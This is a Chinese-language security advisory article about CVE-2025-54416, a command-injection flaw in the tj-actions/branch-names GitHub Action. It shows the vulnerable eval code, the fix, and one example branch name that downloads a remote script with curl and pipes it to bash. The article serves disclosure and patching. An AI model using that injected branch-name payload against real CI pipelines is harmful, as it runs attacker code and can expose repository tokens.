漏洞概述
GitHub 热门 Action 组件 tj-actions/branch-names 曝出高危命令注入漏洞(编号 CVE-2025-54416,CVSS 评分 9.1),影响超过 5000 个公开代码库。该漏洞允许攻击者在 CI/CD 工作流中执行任意命令,危及大量自动化流程安全。
技术细节
该 Action 主要用于在持续集成/持续交付(CI/CD)过程中获取分支和标签名称,常被用于基于文件变更或上下文信息触发测试、代码检查或部署工作流。其高普及度使其成为威胁攻击者的重点目标。
漏洞根源在于代码中对 shell 命令的错误处理。开发者最初使用printf "%q"转义输入数据,但后续又通过eval printf "%s"取消转义,导致原本防范的注入风险重新出现:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"
攻击场景
攻击者可构造特殊命名的分支(如下所示)触发命令执行:
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)
当使用该分支发起拉取请求时,漏洞组件会执行嵌入的恶意载荷,使攻击者能够在 GitHub 托管的运行器上执行远程脚本,可能导致:
安全公告特别指出:"漏洞影响严重程度取决于 GITHUB_TOKEN 的权限配置和触发事件的上下文环境",在自动触发特权工作流的场景中风险尤为突出。
修复方案
开发者已彻底移除eval调用,改用安全的直接输出方式:
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"
建议所有使用该 Action 的用户立即升级至 v9 主要版本。
参考来源:
Critical Command Injection (CVE-2025-54416) in tj-actions/branch-names GitHub Action Exposes 5,000+ Repos
https://securityonline.info/critical-command-injection-cve-2025-54416-in-tj-actions-branch-names-github-action-exposes-5000-repos/
电台讨论